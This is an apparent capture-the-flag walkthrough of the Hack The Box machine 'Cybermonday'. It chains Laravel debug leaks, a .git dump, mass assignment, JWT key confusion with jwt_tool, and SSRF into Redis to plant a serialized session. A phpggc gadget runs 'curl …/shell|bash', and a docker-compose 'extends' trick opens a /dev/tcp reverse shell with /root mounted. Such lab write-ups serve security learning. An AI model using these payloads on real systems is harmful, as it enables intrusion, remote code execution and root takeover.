☠️Cybermonday - HTB

https://app.hackthebox.com/competitive/2/overview

Container Foothold

register in the website then login

any duplicated input will trigger the laravel debugger ,so we try to change the username to admin and try to update it

that will expose alot of information ,files path env file ..etc

Nginx off by slash fail

getting the .git folder and dump it

you will get a backup files for the cybermonday web app source code files and we find below code

Schema::create('users', function (Blueprint $table) {
            $table->id();
            $table->string('username')->unique();
            $table->string('email')->unique();
            $table->string('password');
            $table->boolean('isAdmin')->default(0);
            $table->rememberToken();
            $table->timestamps();

so we know isAdmin is a parameter we can use ,lets set isAdmin value to 1

now you are admin

we also found a new subdomain after fuzzing the root we find

http://webhooks-api-beta.cybermonday.htb.cybermonday.htb/jwks.json

lets create a user /auth/register

login with the created user /auth/login

To create a webhook service ,we need admin role ,and current token has user role only

now we take the token and use jwks.json to extract the public key first

python3 jwt_tool.py "$TOKEN" -jw "jwks.json" -V

then we change the value of role to admin using the extracted pem key

python3 jwt_tool.py "$TOKEN" -I -pc role -pv "admin" -X k -pk kid_0_1692632478.pem -v

Now we get into the other part ,check /webhooks endpoint

lets create another service 'sendRequest'

there is no filter or restriction on user input for the url parameter and we can inject things on method parameter, also we they do have running redis

i did some local redis testing to see how it will react ,and my conclusion was that ,if im able to communicate with redis and send commands ,i can set the laravel_session for a user on Cybermonday.htb site ,since its laravel

so first lets try to decrypt the user session

after reading env file ,we got APP_KEY ,now we move on ,to decrypt the session token

as per HERE you need app_key to decrypt X-XSRF-TOKEN value to be able to occur unserialize call

from the previous decrypt part code from hacktricks we modify few things

i run redis locally ,and tried to reach it out through the webhook sendRequest to find out how im gonna inject and how its gonna work on the remote redis db

it Works !

now lets set laravel_session value that we found earlier in the env file

let's get the user cybermonday_session and note its not working for XSRF_TOKEN token

{"url":"http://redis:6379/","method":"set laravel_session:zKCiisV7HHrD3q1k7b15mJk9uia8lPlkfjraNWaq 'sam'\n"}

you can download the phpgcc gadget repo ,use this command to remove any json escapes to use it with burp

./phpggc Laravel/RCE10 system 'curl 10.10.14.3/shell|bash'| sed -e 's/\\/\\\\/g' -e 's/"/\\"/g'
Now we got container foothold !

Note: Refereshing the user page ,will trigger the unserialized error.

User - Path

Network Scan

now we uploaded nmap ,and also we need to upload chisel to forward ports ,we will be interested in port 5000 ,docker registery ,lets try to pull that

Chisel connected

lets now try to pull it locally

docker run -d -t --name sam 127.0.0.1:5000/cybermonday_api
docker exec -it sam sh 
app/controllers/LogsController.php
app/helpers/Api.php

here we found a password ,also from the first container reverse shell ,we find a username in /mnt/.ssh/authorized_keys

Root

#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal

def get_user():
    return os.environ.get("SUDO_USER")

def is_path_inside_whitelist(path):
    whitelist = [f"/home/{get_user()}", "/mnt"]

    for allowed_path in whitelist:
        if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
            return True
    return False

def check_whitelist(volumes):
    for volume in volumes:
        parts = volume.split(":")
        if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
            return False
    return True

def check_read_only(volumes):
    for volume in volumes:
        if not volume.endswith(":ro"):
            return False
    return True

def check_no_symlinks(volumes):
    for volume in volumes:
        parts = volume.split(":")
        path = parts[0]
        if os.path.islink(path):
            return False
    return True

def check_no_privileged(services):
    for service, config in services.items():
        if "privileged" in config and config["privileged"] is True:
            return False
    return True

def main(filename):

    if not os.path.exists(filename):
        print(f"File not found")
        return False

    with open(filename, "r") as file:
        try:
            data = yaml.safe_load(file)
        except yaml.YAMLError as e:
            print(f"Error: {e}")
            return False

        if "services" not in data:
            print("Invalid docker-compose.yml")
            return False

        services = data["services"]

        if not check_no_privileged(services):
            print("Privileged mode is not allowed.")
            return False

        for service, config in services.items():
            if "volumes" in config:
                volumes = config["volumes"]
                if not check_whitelist(volumes) or not check_read_only(volumes):
                    print(f"Service '{service}' is malicious.")
                    return False
                if not check_no_symlinks(volumes):
                    print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
                    return False
    return True

def create_random_temp_dir():
    letters_digits = string.ascii_letters + string.digits
    random_str = ''.join(random.choice(letters_digits) for i in range(6))
    temp_dir = f"/tmp/tmp-{random_str}"
    return temp_dir

def copy_docker_compose_to_temp_dir(filename, temp_dir):
    os.makedirs(temp_dir, exist_ok=True)
    shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))

def cleanup(temp_dir):
    subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    shutil.rmtree(temp_dir)

def signal_handler(sig, frame):
    print("\nSIGINT received. Cleaning up...")
    cleanup(temp_dir)
    sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Use: {sys.argv[0]} <docker-compose.yml>")
        sys.exit(1)

    filename = sys.argv[1]
    if main(filename):
        temp_dir = create_random_temp_dir()
        copy_docker_compose_to_temp_dir(filename, temp_dir)
        os.chdir(temp_dir)
        
        signal.signal(signal.SIGINT, signal_handler)

        print("Starting services...")
        result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        print("Finishing services")

        cleanup(temp_dir)

To bypass the check ,we have to create two yamls configuration files ,first one is legit ,and second one is malicious ,we connect both of them using extend ,and in malicious yaml we use volumes to mount /root dir ,and command ,to execute a reverseshell

docker-compse.yml

version: "2"
services:
  webapp: 
    image: 'cybermonday_api'
    extends:
     file: '/home/john/malicious-compose.yml'
     service: webapp
    ports:
      - '8000:8000'

malicious-compose.yml

version: "2"
services:
  webapp:
    command: "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.3/9001 0>&1'"
    image: cybermonday_apia
    ports:
      - "8000:8000"
    volumes:
      - "/root:/tmp"

confirm if its working

run

Last updated